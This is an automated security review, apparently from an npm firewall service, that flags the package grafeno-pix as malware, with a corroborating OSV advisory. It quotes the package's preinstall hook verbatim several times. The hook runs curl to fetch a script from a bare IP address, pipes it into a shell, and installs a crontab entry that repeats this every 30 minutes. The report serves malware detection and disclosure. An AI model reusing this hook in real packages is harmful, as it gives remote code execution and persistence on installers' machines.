grafeno-pix@1.0.0: Malicious npm security report (Block)

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installing the package automatically downloads and executes an unverified remote shell script. It then attempts recurring cron-based persistence.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before the package is installed.

Impact

Arbitrary code from the remote host can run as the installing user and recur every 30 minutes.

Mechanism

Preinstall remote shell execution plus cron persistence.

Attack narrative

The package's preinstall hook invokes curl and pipes the downloaded script into a shell. It then modifies the installing user's crontab to repeat that remote execution every 30 minutes. Both operations suppress errors, and execution occurs without an explicit user command beyond package installation.

Rationale

This is concrete unconsented install-time remote code execution with persistence. The harmless runtime stub does not mitigate the lifecycle attack.

Evidence

package.jsonindex.js

Network endpoints1

216.126.236.46/x.sh

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-15507

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in grafeno-pix (npm)

Details

grafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely. ## Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584) The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook downloads and executes a shell script from an IP address.
The hook installs a cron job that reruns the remote script every 30 minutes.
Errors are suppressed, concealing failed execution and persistence attempts.

Evidence against

The runtime entry point only exports a minimal payment stub.
No additional package source files were present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 63 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\""

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a shell script from an IP address.

package.jsonView on unpkg · L7

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\""

High

Ai Review Evidence

The hook installs a cron job that reruns the remote script every 30 minutes.

package.jsonView on unpkg · L7

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.preinstall = node -e "const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \"*/3...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node -e \"const{execSync:e}=require('child_process');try{e('curl -s 216.126.236.46/x.sh|sh',{shell:'/bin/bash'})}catch(x){};try{e('(crontab -l 2>/dev/null|grep -v 216.126;echo \\\"*/30 * * * * curl -s 216.126.236.46/x.sh|sh\\\")|crontab -',{shell:'/bin/bash'})}catch(c){}\""

High

Suspicious Lifecycle Evidence

The preinstall hook downloads and executes a shell script from an IP address.

package.jsonView on unpkg · L7

Findings

1 Critical3 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License